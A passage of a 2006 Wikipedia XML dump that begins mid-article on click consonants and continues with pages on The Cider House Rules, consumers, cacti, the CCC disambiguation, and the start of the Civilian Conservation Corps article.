The accompaniment is generally written first: {{IPA|[ŋ͡ǂ]}} or {{IPA|[ŋǂ]}}. However, many Khoisanists prefer to write the accompaniment second: {{IPA|[ǂ͡ŋ]}} or {{IPA|[ǂŋ]}}. This is because the diacritics which follow the click symbols belong to the accompaniment rather than the release. A prime example of this are the ejective clicks, as {{IPA|[ǂ͡q’]}}. Here it is the uvular {{IPA|[q’]}} that is ejective, not the palatal click release {{IPA|[ǂ]}}, and the IPA convention of writing {{IPA|[q͡ǂ’]}} is misleading. Regardless, elements which do not overlap with the release are always written accordingly: The prenasalization is always written first in {{IPA|[ŋɡ͡ǂ]}} = {{IPA|[ŋǂ͡ɡ]}}, and the second ejective is always written afterwards in {{IPA|[k͡ǂ’q’]}} = {{IPA|[ǂ͡k’q’]}}. 

While the [[SAMPA]] encoding for IPA into [[ASCII]] doesn't have symbols for transcribing clicks, the proposed [[X-SAMPA]] standard does: &lt;tt&gt; O\&lt;/tt&gt;, &lt;tt&gt;|\&lt;/tt&gt;, &lt;tt&gt;|\|\&lt;/tt&gt;, &lt;tt&gt;=\&lt;/tt&gt;, and &lt;tt&gt;!&lt;/tt&gt;.  Some instead suggest &lt;tt&gt;||\&lt;/tt&gt;, &lt;tt&gt;#\&lt;/tt&gt; or &lt;tt&gt;&quot;\&lt;/tt&gt; for the alveolar lateral click. The [[Kirshenbaum]] system uses a different method: clicks are denoted by digraphs, with the click symbol (always &quot;!&quot;) added to the stop homorganic to the release, but with the manner of the accompaniment. For example, /t!/ is a voiceless dental click, and /m!/ is a nasal bilabial click. (This transcription is used in the literature on Damin.) However, the International Phonetic Association recommends using the IPA symbols in [[Unicode]], or using the number codes which they have assigned to each symbol.

==Accompaniments==
(Data is primarily from Ladefoged; see references at individual language articles.)

There is a great variety of click accompaniments, though it is a matter of debate how many of them are simple consonants and how many consonant clusters. With so few click languages, and so little study of them, it is also unclear to what extent clicks in different languages may be equivalent to each other. 

Some Khoisan languages are [[Linguistic_typology|typologically]] unusual in allowing mixed [[phonation|voicing]] in non-click consonant clusters, such as {{IPA|dt͡s’k͡x’}}, so it's not unexpected that they would allow mixed voicing in clicks as well, and this can be taken as evidence that these clicks are also clusters. 

There is ongoing discussion as to which other clicks are best analysed as consonant clusters, as in several cases this is not obvious. For example, some linguists feel that ejective clicks are not possible, and that those described as such are most likely clusters. Indeed, in many languages this appears to be the case. However, in others phonetic measurements have found that, while the ejective release follows the click release, it is the accomplaniment closure that is ejective, not a subsequent consonant. (In Ladefoged's analysis in the table below, if there is only a single segment, this is indicated by a single non-subscript letter for the accompaniment.) 

Of the languages illustrated below, [[!Xóõ language|!Xóõ]] is Southern Khoisan, [[Nama language|Nama]], [[Korana language|Korana]], and [[G/wi language|Gǀui]] are Central Khoisan, [[Ju/’hoan language|Zhuǀ’hõasi]] is Northern Khoisan, and [[‡Hõã language|‡Hoan]] is unclassified. These languages are spoken primarily in [[Namibia]] and [[Botswana]]. (See [[List of Khoisan languages]] for classification.) [[Xhosa language|Xhosa]] is a [[Bantu languages|Bantu]] language of [[South Africa]]; [[Dahalo language|Dahalo]] is a [[Cushitic languages|Cushitic]] language of [[Kenya]]; [[Hadza language|Hadza]] and [[Sandawe language|Sandawe]] are spoken in [[Tanzania]]; and [[Damin]] was an initiation jargon in northern [[Australia]]. 

The four Dahalo accompaniments occur only with a dental release. Damin has only a nasal accompaniment with its normal clicks, but in addition has a voiceless unaspirated release for its egressive &quot;click&quot;. 

For clarity, the full accompaniment is written after the release, and the tie bar is omitted. 

{|
| '''IPA''' || '''Alveolar release, plus:''' || '''Languages found in'''
|-
|{{IPA|[!k]}} || ''Voiceless unaspirated velar plosive || Damin, Gǀui, Hadza, ‡Hoan, Korana, Nama, Sandawe, Xhosa, !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!q]}} || ''Voiceless unaspirated uvular plosive || Gǀui, ‡Hoan, !Xóõ
|-
|{{IPA|[!kʰ]}} || ''Aspirated velar plosive || Gǀui, ‡Hoan, Korana, Nama, Xhosa, !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!qʰ]}} || ''Aspirated uvular plosive || Gǀui, ‡Hoan
|-
|{{IPA|[!k͡x]}} || ''Voiceless affricated velar plosive || !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!q͡χ]}} || ''Voiceless affricated uvular plosive || Gǀui, ‡Hoan 
|-
|{{IPA|[!kˀ]}} || ''Voiceless unaspirated velar plosive and glottal stop || Korana, Nama, !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!kˀ, ŋˀ!k]}} || ''Voiceless glottalized velar plosive (prenasalized between vowels) || Gǀui, ‡Hoan, Sandawe
|-
|{{IPA|[!q’]}} || ''Uvular ejective'' || Gǀui, ‡Hoan, !Xóõ  
|-
|{{IPA|[!g]}} || ''Voiced velar plosive || Gǀui, ‡Hoan, !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!g͡ɣ]}} || ''Voiced affricated velar plosive || Zhuǀ’hõasi
|-
|{{IPA|[!g, ŋ!g]}} || ''Voiced velar plosive (prenasalized between vowels) || Sandawe
|-
|{{IPA|[(ɴ)!ɢ]}} || ''Voiced uvular plosive (usually prenasalized) || Gǀui, ‡Hoan, !Xóõ
|-
|{{IPA|[!g̈]}} || ''Breathy-voiced velar plosive || Xhosa
|-
|{{IPA|[!ŋ]}} || ''Voiced velar nasal || Dahalo, Damin, Gǀui, Hadza, ‡Hoan, Korana, Nama, Sandawe, Xhosa, !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!ŋʷ]}} || ''Labialized voiced velar nasal || Dahalo
|-
|{{IPA|[!ŋ̈]}} || ''Breathy-voiced velar nasal || Xhosa
|-
|{{IPA|[!ŋ̊]}} || ''Voiceless velar nasal || Dahalo, !Xóõ
|-
|{{IPA|[!ŋ̊ʷ]}} || ''Labialized voiceless velar nasal || Dahalo
|-
|{{IPA|[!ŋ̊h]}} || ''Voiceless delayed-aspirated velar nasal || Gǀui, ‡Hoan, Korana, Nama, Zhuǀ’hõasi
|-
|{{IPA|[!ŋ̊↓h]}} || ''Voiceless ingressive pulmonic nasal with delayed aspiration || !Xóõ
|-
|{{IPA|[!ŋ̊ˀ]}} || ''Voiceless velar nasal and glottal stop || Hadza
|-
|{{IPA|[ʔ!ŋ]}} || ''Preglottalized velar nasal || ‡Hoan, !Xóõ 
|-
|{{IPA|[ŋ!ŋ̊ʰ]}} || ''Voiced velar nasal followed by voiceless aspirated velar nasal || Zhuǀ’hõasi
|-
|{{IPA|[!gh]}} || ''Voiced velar plosive followed by aspiration || !Xóõ, Zhuǀ’hõasi
|-
|{{IPA|[!ɢh]}} || ''Voiced uvular plosive, followed by aspiration || !Xóõ
|-
|{{IPA|[!gk͡x]}} || ''Voiced velar plosive followed by voiceless velar fricative || !Xóõ
|-
|{{IPA|[!k͡x’]}} || ''Affricated velar ejective || Korana, Zhuǀ’hõasi
|-
|{{IPA|[!q͡χ’]}} || ''Affricated uvular ejective || Gǀui, ‡Hoan 
|-
|{{IPA|[!gk͡x’]}} || ''Voiced velar plosive followed by voiceless affricated ejective || Zhuǀ’hõasi
|-
|{{IPA|[!k’q’]}} || ''Voiceless velar ejective, followed by uvular ejective || !Xóõ
|-
|{{IPA|[!gq’]}} || ''Voiced velar plosive, followed by uvular ejective || !Xóõ
|}

==Releases==

===Inventories of click releases===

There are seven known click releases, not counting slapped or egressive clicks. These are ''bilabial affricated'' {{IPA|ʘ}}, or &quot;bilabial&quot;; ''laminal denti-alveolar affricated'' {{IPA|ǀ}}, or &quot;dental&quot;; ''apical (post)alveolar plosive'' {{IPA|ǃ}}, or &quot;alveolar&quot;; ''laminal postalveolar (palato-alveolar) plosive'' {{IPA|ǂ}}, or &quot;palatal&quot;; ''subapical postalveolar (retroflex)'' {{IPA|ǃ˞}} (rare); and two lateral clicks, which in the only language known to distinguish them are ''laminal denti-alveolar lateral'' {{IPA|ǁ̻}} and ''apical postalveolar lateral'' {{IPA|ǁ̺}}. No language is known to have more than five of these. 

{| class=wikitable
| '''Click release&lt;br&gt;inventory''' || '''Languages''' 
|-
| dental {{IPA|ǀ}} only || Dahalo
|-
| alveolar {{IPA|ǃ}} only || seSotho
|-
| 3 releases, {{IPA|ǀ}}, {{IPA|ǃ}}, {{IPA|ǁ}} || Sandawe, Hadza, Xhosa, Zulu || ''(in Hadza and sometimes Sandawe, ! is &quot;slapped&quot;)''
|-
| 4 releases, {{IPA|ǀ}}, {{IPA|ǂ}}, {{IPA|ǃ}}, {{IPA|ǁ}} || Korana, Nama, Yeyi, Zhuǀ’hõasi
|-
| 4 releases, {{IPA|ǀ}}, {{IPA|ǂ}}, {{IPA|ǃ˞}}, {{IPA|ǁ}} || !Kung (Angolan)
|-
| 5 releases, {{IPA|ʘ}}, {{IPA|ǀ}}, {{IPA|ǂ}}, {{IPA|ǃ}}, {{IPA|ǁ}} ||  ‡Hõã, Nǀu, ǀXam, !Xóõ
|-
| 5 releases, {{IPA|ǀ}}, {{IPA|ǂ}}, {{IPA|ǃ}}, {{IPA|ǁ̺}}, {{IPA|ǁ̪}} || !Kung (Mangetti Dune)
|-
| 5 releases, {{IPA|ʘ}}, {{IPA|ʘ↑}}, {{IPA|ǀ}}, {{IPA|ǃ}}, {{IPA|ǃ˞}} || Damin
|}

===Names found in the literature===

The oldest terms for the click releases, such as in Bleek 1911, are closer to modern terminology than much of what was published in between. Here are the terms used in some of the main references. 

{| 
| '''Click release''' || '''Bantu letters''' || '''Also known as:''' || 
|-
| {{IPA|ǀ}} dental || ''c'' || dental affricative/affricated/with friction; alveolar affricated; denti-alveolar; apico-lamino-dental
|-
| {{IPA|ǂ}} palatal || || palato-alveolar; alveolar; alveolar instantaneous; denti-alveolar implosive
|-
| {{IPA|ǃ}} alveolar || ''q'' || cerebral; alveolar implosive; palato-alveolar; palato-alveolar instantaneous; palatal; palatal retroflex; apico-palatal
|-
| {{IPA|ǁ}} lateral || ''x'' || lateral affricative/with friction; alveolar lateral affricated; post-alveolar lateral; lateral apico-alveo-palatal
|}

==Click loss==
We do not know how clicks first arose, and the development of clicks from other consonants has never been observed, but it seems likely that they arose from consonant clusters of some type. 

However, several still vibrant languages demonstrate click loss. For example, the [[List_of_Khoisan_languages#East_Tshu-Khwe|East Tshu-Khwe languages]] have lost a large percentage of their clicks, presumably due to [[Bantu languages|Bantu]] influence. Generally a click is replaced by a consonant that retains the [[manner of articulation]] of the accompaniment. Alveolar click releases {{IPA|ǃ}} tend to simply drop out, leaving a velar stop or affricate such as {{IPA|k, ɡ, ŋ, k͡x}}, while palatal clicks {{IPA|ǂ}} leave behind a palatal stop such as {{IPA|c, ɟ, ɲ, c’}}, or a post-alveolar affricate {{IPA|ʧ, ʤ}}, and dental clicks {{IPA|ǀ}} tend to leave an alveolar affricate {{IPA|ʦ}} behind. That is, in the latter cases the resulting consonant retains the manner of the accompaniment but the [[place of articulation|place]] of the release. 

''(to be completed)''

==References==
*Ladefoged, Peter and Ian Maddieson.  ''The Sounds of the World's Languages''.  Oxford: Blackwell Publishers Ltd.  1996.
*Anthony Traill &amp; Rainer Vossen, ''Sound change in the Khoisan languages: new data on click loss and click replacement''. JALL 18 (1997), 21-56.

==See also==
*[[List of phonetics topics]]

[[Category:Consonants]]

[[de:Klick (Phonetik)]]
[[fr:Clic]]
[[he:עיצורים מצוצים]]
[[ko:&amp;#55137;&amp;#52265;&amp;#51020;]]
[[ja:&amp;#21560;&amp;#30528;&amp;#38899;]]
[[fi:Maiskausäänne]]
[[sv:Klickljud]]
[[zh:&amp;#25645;&amp;#22068;&amp;#38899;]]</text>
    </revision>
  </page>
  <page>
    <title>The Cider House Rules</title>
    <id>7817</id>
    <revision>
      <id>41288929</id>
      <timestamp>2006-02-26T08:26:09Z</timestamp>
      <contributor>
        <ip>24.208.189.232</ip>
      </contributor>
      <comment>/* Controversy */  wording, &quot;pro-choice stance on abortion&quot; more neutral than &quot;woman's right to an abortion&quot;</comment>
      <text xml:space="preserve">[[Image:cider house rulezzz.jpg|thumb|200px|The Cider House Rules book cover]]
This article relates to the novel, [[The Cider House Rules]] by [[John Irving]]. [[The Cider House Rules (film)]] is also a [[1999]] [[film]] starring [[Tobey Maguire]] and [[Michael Caine]], directed by [[Lasse Hallström]].

==Plot of The Cider House Rules==
{{spoiler}}
Homer Wells, an un-adopted [[orphan]], is the book's central protagonist; Homer grew up in an orphanage directed by Dr. Wilbur Larch. Dr. Larch is also secretly an [[abortion]]ist, and believes that he is doing the world a service because &quot;one way the [[poor]] can help themselves would to be in control of the size of their families.&quot; Dr. Larch also refers to abortion as &quot;The Lord's Work&quot; and trains Homer in the realm of gynecology/abortions in a paternal way. The novel continues as Homer decides to leave the orphanage with Candy Kendall and her boyfriend Wally Worthington, a young couple who work at the Worthington family apple orchard. Wally leaves to fight in [[World War Two]], but his plane is shot down over [[Burma]]. Believing Wally to be dead, Homer and Candy have an affair and Candy subsequently becomes [[pregnant]]. Candy secretly gives birth to a boy named Angel at the orphanage (the first child to go home with its mother). Wally is found alive, so Candy and Homer return home, lying to the family about Angel's parentage (they claim that Homer decided to adopt him). Wally and Candy [[marry]] shortly afterwards. Many years later, when Angel is a teenager, he makes friends with Rose Rose, the daughter of Mr. Rose, a migrant worker. Rose Rose becomes pregnant with her father's child, and Homer performs an abortion on her. Homer decides to return to the orphanage after the [[death]] of Dr. Larch, and works as the new director. Homer and Candy eventually tell Angel that they are his biological parents.

The novel also follows a sub-plot of Melony, Homer's fellow orphan, and her [[lesbian]]-lover, Lorna.

==Controversy==
The novel clearly takes a pro-choice stance on abortion. Dr. Larch, the novel's primary abortion-advocate, feels strongly towards the &quot;[[left]]&quot; on the subject because he believes an infant who is unwanted is too emotionally painful for the mother and the child. Homer is initially reluctant with the subject, but understands Dr. Larch's perception when he must perform an abortion on Rose Rose. The novel also introduces [[adoption]] as an alternative.

Many [[pro-life]] groups contend that the uncommon scenario of a father-daughter [[rape]] is not a strong argument for the legalization of all abortions. The novel also takes on many other cases of an abortion being a necessary option for a woman, including the extremely poor, [[prostitutes]] who are incapable of raising a child, and in one instance a young woman who had a botched abortion and died after her &quot;abortionist&quot; left the [[crochet]] needle in her uterus. Irving uses her as an example for people who are going to perform their own &quot;back alley&quot; abortions and need medical assistance for their own safety. Pro-life organizations state that the novel is [[pro-choice]] propaganda, and the assumption that Homer will grow up to be a [[moral]] man if he performs abortions is a poor image.

==See also==
*[[The Cider House Rules (film)]]
*[[John Irving]]
*[[Pro-Choice]]
*[[Pro-Life]]

==External links==
http://thebookhaven.homestead.com/Z_Cider_House_Rules.html

[[de:Gottes Werk und Teufels Beitrag (Buch)]]
[[fr:L'Œuvre de Dieu, la Part du Diable]]

{{uncat}}</text>
    </revision>
  </page>
  <page>
    <title>Consumer</title>
    <id>7818</id>
    <revision>
      <id>40218415</id>
      <timestamp>2006-02-19T01:01:46Z</timestamp>
      <contributor>
        <ip>72.224.91.190</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about consumers in [[economics]]. For the article about consumers in [[biology]], see '''[[Heterotroph]]'''.''

'''Consumers''' are [[individual]]s or [[household]]s that consume [[Good (economics)|goods and services]] generated within the [[economic system|economy]].  Since this includes just about everyone, the [[term]] is a political term as much as an economic term when it is used in everyday speech.  Typically when businesspeople and economists talk of ''consumers'' they are talking about ''person as consumer'', an aggregated [[commodity]] item with little [[individuality]] other than that expressed in the buy not buy [[decision]]. However there is a [[trend]] in [[marketing]] to individualize the concept. Instead of generating broad [[demographic profile]]  and [[psychographic profile]]s of [[market segment|market segments]], marketers are engaging in [[personalized marketing]], [[permission marketing]], and [[mass customization]]. 

A consumer is assumed to have a [[budget]] which can be spent on a [[range]] of [[Product (business)|goods and services]] available on the [[market]]. Under the assumption of [[rationality]], the budget allocation is chosen according to the [[preference]] of the consumer, i.e. to maximize his or her [[utility]] function.

In 'time series' [[model (abstract)|models]] of consumer behaviour, the consumer may also [[investment|invest]] a [[proportion]] of their budget in order to gain a greater budget in [[future]] [[period]]s. This [[investment]] [[choice]] may include either [[fixed rate]] [[interest]] or risk-bearing [[security|securities]].

In the [[context]] of [[mental health]], consumer is also a term applied to describe a [[person]] living with [[mental illness]].

Concern over the best interests of consumers has spawned much activism, as well as incorporation of consumer [[education]] into the [[school]] [[curriculum]].  There are many non-profit publications available to assist in consumer education such as [[Consumer Reports]] or [[Choice Magazine]].

Within many [[sales|selling]] [[company (law)|companies]] as well as debt-management consultants consumer has come to be a derogatory term which means an unintelligent buyer of poorly made clothing and plastic or metallic items. Consumer could also be seen as an offensive term, implying that both an adult and a child's only function is to buy (consume) a product and discard it after only a short period of time.

==See also==
*[[Consumer debt]]
*[[Consumerism]]
*[[Consumption]]
*[[Obsessive-compulsive disorder]]

[[Category: Economics]]
[[Category: Marketing]]

[[de:Verbraucher]]
[[es:Consumidor]]
[[fr:Consommateur]]
[[hi:उपभोक्ता]]
[[it:Consumatore]]
[[nl:Consument]]
[[ja:消費者]]
[[pl:Konsument (ekonomia)]]
[[sv:Konsument]]</text>
    </revision>
  </page>
  <page>
    <title>Cactus</title>
    <id>7819</id>
    <revision>
      <id>41628027</id>
      <timestamp>2006-02-28T17:03:27Z</timestamp>
      <contributor>
        <username>Haham hanuka</username>
        <id>111674</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:''This article is about the plant family. For the genus '''Cactus''', see [[Mammillaria]], [[Melocactus]] and [[Opuntia]]. For the Texas town, see [[Cactus, Texas]].''
{{Taxobox
| color = lightgreen
| name = Cacti
| image = Ferocactus1.jpg
| image_width = 250px
| image_caption = ''[[Ferocactus|Ferocactus pilosus]]'' (Mexican Lime Cactus) growing south of [[Saltillo]], [[Coahuila]], northeast [[Mexico]]
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = [[Caryophyllales]]
| familia = '''Cactaceae'''
| familia_authority = [[Antoine Laurent de Jussieu|Juss.]]
| subdivision_ranks = [[Genus|Genera]]
| subdivision = 
See [[Taxonomy of the Cactaceae]]
}}

'''Cactus''' is the name given to any member of the [[flowering plant]] family [[Cactaceae]]. Cacti are almost exclusively [[New World]] plants. This means that they are native only in [[North America]], [[South America]], and the [[West Indies]]. There is however one exception, ''Rhipsalis baccifera''; this species has a pantropical distribution, occurring in the [[Old World]] in tropical [[Africa]], [[Madagascar]] and [[Sri Lanka]] as well as in tropical America. This plant is thought to be a relatively recent colonist in the Old World (within the last few thousand years), probably carried as seeds in the digestive tracts of [[bird migration|migratory]] [[bird]]s. Many other cacti have become naturalized to similar environments in other parts of the world after being introduced by people.

[[Image:Cactus1web.jpg|thumb|left|Many species of cactus have long, sharp spikes.]]
Many [[succulent plant]]s in both the Old and New World
bear a striking resemblance to cacti, and are often called &quot;cactus&quot; in common usage.
This is, however, due to [[parallel evolution]];
none of these are closely related to the Cactaceae.
One distinct identifying characteric of the Cactus family
is the [[areole]], a specialized structure from which spines and new shoots grow.

Cacti are believed to have evolved in the last 30 to 40 million years. Long ago, the Americas were joined to the other continents, but separated due to [[continental drift]]. Unique species in the New World must have developed after the continents had moved apart. Significant distance between the continents was only achieved around in the last 50 million years. This may explain why cacti are so rare in Africa; the continents had already separated when cacti [[evolve|evolved]].

[[Image:Cactus flower02.jpg|thumb|left|Cactus Flower]]
Like other succulents, cacti are well-adapted to life with little [[Precipitation (meteorology)|precipitation]]. The [[leaf|leaves]] have evolved into [[spine (biology)|spines]], which in addition to allowing less water to evaporate than regular leaves, defend the cactus against water-seeking animals. [[Photosynthesis]] is carried out by enlarged [[Plant stem|stems]], which also store water. Unlike many other succulents, the stem is the only part of a true cactus where this takes place. Very few members of the family have leaves, and when present these are usually rudimentary and soon fall off; they are typically awl-shaped and only 1-3 mm long. Two genera, ''Pereskia'' and ''Pereskiopsis'', do however retain large, non-succulent leaves 5-25 cm long, and also non-succulent stems; they are possibly primitive genera, thought to be closely similar to the plants that cacti evolved from.

Cacti come in a wide range of shapes and sizes. Some grow to great size. Some cacti produce beautiful [[flower]]s, which like spines and branches arise from [[areole]]s. Many cactus species are night-blooming, as they are [[pollen|pollinated]] by [[nocturnal]] [[insect]]s or small animals, principally [[moth]]s and [[bat]]s. Cacti range from small and round to pole-like and tall, such as the [[Saguaro]].

A number of cactus species are cultivated for use as houseplants, as well as for ornamental gardens. They often form part of [[xeriscaping|xerophilic (dry) gardens]] in arid regions. Some cacti bear edible fruit.

Selected important genera include the following; for a full list see [[Taxonomy of the Cactaceae]]
*''[[Acanthocereus]]'' - [[triangle cactus]]
*''[[Ariocarpus]]'' - [[living rock]]
*''[[Bergerocactus]]'' - [[snakecactus]]
*''[[Carnegiea]]'' - [[saguaro]]
*''[[Cephalocereus]]'' - [[old man cactus]]
*''[[Cereus]]'' - [[sweetpotato cactus]]
*''[[Coryphantha]]'' - [[beehive cactus]]
*''[[Echinocactus]]'' - [[barrel cactus]]
*''[[Echinocereus]]'' - [[hedgehog cactus]]
*''[[Echinopsis]]'' - [[San Pedro (cactus)|San Pedro]]
*''[[Epiphyllum]]'' - [[climbing cactus]]
*''[[Epithelantha]]'' - [[pingpong ball cactus]]
*''[[Escobaria]]'' - [[foxtail cactus]], [[pincushion cactus]]
*''[[Ferocactus]]'' - [[barrel cactus]]
*''[[Gymnocalycium]]'' - [[Chin cactus]]
*''[[Harrisia]]'' - [[applecactus]]
*''[[Hylocereus]]'' - [[nightblooming cactus]]
*''[[Lophophora]]'' - [[peyote]]
*''[[Mammillaria]]'' - [[fishhook cactus]], [[globe cactus]], [[bird's-nest cactus]]
*''[[Opuntia]]'' - [[prickly pear]], [[cholla]]
*''[[Pediocactus]]'' - [[hedgehog cactus]]
*''[[Pilosocereus]]'' - [[tree cactus]]
*''[[Schlumbergera]]'' - [[holiday cactus]]
*''[[Sclerocactus]]'' - [[fishhook cactus]]
*''[[Selenicereus]]'' - [[moonlight cactus]], [[nightblooming cereus]]
*''[[Turbinicarpus]]'' - [[top cactus]]

==Etymology==
The word ''cactus'' is ultimately derived from [[Ancient Greek|Greek]] Κακτος ''kaktos'', used in classical Greek for a species of spiny [[thistle]], possibly the [[cardoon]], and used as a generic name, ''Cactus'', by [[Carolus Linnaeus|Linnaeus]] in 1753 (now rejected in favor of ''Mammillaria''). There is some dispute as to the proper plural form of the word; as a Greek loan into English, the correct plural in English would be &quot;cactuses&quot;. However, as a word in [[Botanical Latin]] (as distinct from [[Classical Latin]]) &quot;cactus&quot; would follow standard Latin rules for pluralization and become &quot;cacti&quot;, which has become the prevalent usage in English.

==See also==
*[[Plant]]
*[[Succulent]]

==References and external links==
* Anderson, Edward F. ''The Cactus Family'' (Timber Press, 2001) ISBN 0-88192-498-9 - Comprehensive and lavishly illustrated
* Benson, Lyman ''The Cacti of Arizona'' (The University of Arizona Press, 1981) ISBN 0-8165-0509-8  - Thorough treatment of the Arizona, U.S.A., species
* [http://www.cactiguide.com/ CactiGuide.com - many photos, and discussion forum]
* [http://www.cactus-mall.com/ Cactus portal]
* [http://www.cactusi.com/ Cactus Gallery]
* [http://hydrocactus.free.fr Hydrocactus flowering Cacti videos]

{{commons|Cactus}}
{{commons2|Cactaceae}}

[[Category:Cacti| ]]
[[Category:Plant families]]

One of the largest cactus (and other succulents) collection in the unprotected open air (NOT under cover of a roof or shade net) can be found at Soekershof Walkabout in South Africa. http://soekershof.com

[[bn:ক্যাক্‌টাস]]
[[bo:ཀླུ་ཥིང་]]
[[da:Kaktus-familien]]
[[de:Kakteengewächse]]
[[es:Cactus]]
[[fr:Cactaceae]]
[[gl:Cacto]]
[[hr:Kaktusi]]
[[it:Cactus]]
[[he:קקטוס]]
[[lt:Kaktusiniai augalai]]
[[nl:Cactus]]
[[ja:サボテン]]
[[no:Kaktus]]
[[pl:Kaktusowate]]
[[pt:Cactaceae]]
[[ru:Кактус]]
[[simple:Cactus]]
[[fi:Kaktuskasvit]]
[[sv:Kaktusar]]
[[vi:Xương rồng]]
[[zh:仙人掌]]</text>
    </revision>
  </page>
  <page>
    <title>CCC</title>
    <id>7820</id>
    <revision>
      <id>40608657</id>
      <timestamp>2006-02-21T20:20:48Z</timestamp>
      <contributor>
        <username>Cameron Nedland</username>
        <id>652628</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''CCC''' may be (in alphabetical order):

* [[California Conservation Corps]]
* [[Campus Crusade for Christ]]
* [[Canadian computing competition]]
* [[Candy Cane Children]]
* [[Carmarthenshire County Council]]
* [[Cartesian closed category]]
* [[Cascadia Community College]]
* [[Catechism of the Catholic Church]], an exposition of Roman Catholic Church teachings
* [[Cellules Communistes Combattantes]]
* [[Certificate of Clinical Competence]], entry-level certification for speech-language pathologists and audiologists
* [[Chaos comix clan]] formerly Chaos Comix
* [[Chaos Computer Club]]
* [[China Compulsory Certificate]]
* [[Christian Card Collectors]], an online sportscard trading group.
* [[Christian City Churches]]
* [[Civilian Conservation Corps]], a New Deal program under Franklin D. Roosevelt
* [[Clackamas Community College]]
* [[Clean Clothes Campaign]]
* [[Clear Channel Communications]]
* [[Coca-Cola Company]]
* Colby Community Colledge
* [[Combatant Communist Cells]]
* [[Command, control, and communications]]
* [[Copyright Clearance Center]]
* [[Coricidin]] Cough &amp; Cold - a cough medication
* [[Corsham Computer Centre]]
* [[Council of Conservative Citizens]] (also abbreviated CofCC)
* [[Countable chain condition]]
* [[County cricket club]], any of the clubs participating in the [[County Championship]]
* [[Cyclists Combating Cancer]]
* CCC, The city of opportunities, a comic-flash series created by Vinnie Veritas.
* Cardiff County Council, in [[Cardiff]]
* Carlito Caribbean Cool, a stage name for wrestler [[Carly Colon]]
* China Christian Council, official Chinese Christian organization, along with the [[Three-Self Patriotic Movement]]
* Customs Cooperation Council, former name of the [[World Customs Organization]]
CCC, a company based in Hong Kong

== See also ==
*[[C3]]

{{3LC}}

[[de:CCC]]
[[fr:CCC]]
[[nl:CCC]]
[[ja:CCC]]</text>
    </revision>
  </page>
  <page>
    <title>Civilian Conservation Corps</title>
    <id>7821</id>
    <revision>
      <id>42048361</id>
      <timestamp>2006-03-03T13:04:25Z</timestamp>
      <contributor>
        <ip>207.73.109.2</ip>
      </contributor>
      <comment>/* CCC projects and life */</comment>
      <text xml:space="preserve">{{AIDnom}}

[[Image:CCC-C&amp;O.jpg|thumb|270px|Civilian Conservation Corps workers restoring the [[Chesapeake and Ohio Canal]].]] 
The '''Civilian Conservation Corps''' ('''CCC''') was an organization established on [[March 31]], [[1933]], during [[President of the United States|U.S. President]] [[Franklin D. Roosevelt]]'s first month in office. It was part of the social and economic relief program provided under Roosevelt's [[New Deal|First New Deal]] to combat the [[poverty]] and [[unemployment]] of the [[Great Depression]], and was one of the first measures to be introduced during the [[New Deal#The First Hundred Days|first hundred days]]. The CCC came to be seen as a rite of passage by its enrollees, and became one of the most popular New Deal programs among the general public. 

==Establishment==
Roosevelt proposed the establishment of a civilian conservation corps during the [[U.S. presidential election, 1932|1932 presidential campaign]]. During his first &quot;Hundred Days&quot; in office much of the [[New Deal]] was passed, including Senate Bill 5.598, the [[Emergency Conservation Work Act]]; it was signed into law on March 31, 1933. 

The [[United States Department of Labor|Labor Department]]'s role was to recruit participants into the program; the actual camps were operated by the Army, using reserve officers. Within a week the Labor Department organized a National Re-Employment Service for CCC recruitment. The usual requirement was that the boy's father had to be registered as unemployed.  The first CCC enrollee entered on [[1933-04-07]], just thirty-seven days after Roosevelt's [[inauguration]]. In a short time there were 250,000 enrollees working in CCC camps. Enrollment peaked in September 1935 at about 502,000. By the time the CCC disbanded in 1942, over three million young men had participated. 

There was serious concern about the CCC from the [[American Federation of Labor]] which feared it would be a job training program.  With so many union construction workers unemployed a new job training program would introduce new competition for scarce jobs.  Roosevelt promised there would be no skills taught that would compete with established unions, and named a labor leader to run the CCC.

==CCC projects and life==
[[Image:ccc we can take it.jpg|200px|thumb|right|&quot;The slogan of the Civilian Conservation Corps is 'We can take it!' Building strong bodies is a major CCC objective. More than half the enrollees who entered CCC the last year were seventeen years of age. Work, calisthenics, marching drill, good food, and medical care feature the CCC health program.&quot;]]

The CCC was an interdepartmental work and relief program that sent young, unemployed men from the cities to work on conservation projects in rural areas for $1 per day. The corps took part in many conservation projects, including prevention of [[soil erosion]] and the impounding of [[lake]]s. The CCC constructed many buildings and trails in [[state park|state]] and [[national park]]s that are still used today. Other projects of the CCC included installation of telephone and power lines, construction of logging and fire roads, fence construction, tree-planting, and even [[beekeeping]], [[archeology|archeological]] excavation, and furniture manufacture. The CCC also provided the first truly organized [[wildfire]]-fighting crews and planted  an estimated 3 billion trees for government agencies such as the [[United States Forest Service]].  

CCC enrollees worked 40 hours a week and were paid $30 a month, with the requirement that $25 of that be sent home to family. Members lived in camps, wore [[uniform]]s, and lived under quasi-[[military discipline]]. 
The U.S. Army operated the camps, using reserve presonnel called to active duty.  The Army thereby gained valuable experience in handling large numbers of young men, but there was no military drill or training in the camps, and the work projects were civilian in nature.  Eventually over 4,000 camps were be established in all 48 states and in the Hawaii, Alaska Territory, Puerto Rico, and the Virgin Islands. The first camp was at [[George Washington National Forest]] in Virginia.

Initially, the CCC was limited to young men age 18 to 25 whose fathers  were on relief. Two exceptions to the age limits were [[veterans]], who had a special CCC program and their own camps, and older people with needed skills, hired by the CCC to supervise the young men on the job. These older CCC members were known as &quot;LEMs&quot; (Local Experienced Men). In 1937, Congress changed the age limits to 17 to 23 years old, and dropped the requirement that enrollees be on relief. Members enrolled for six months, with the option of enrolling for another six months.  

In Roosevelt's second [[fireside chats|fireside chat]] on [[1933-05-07]], he spoke about the CCC in a radio address:  
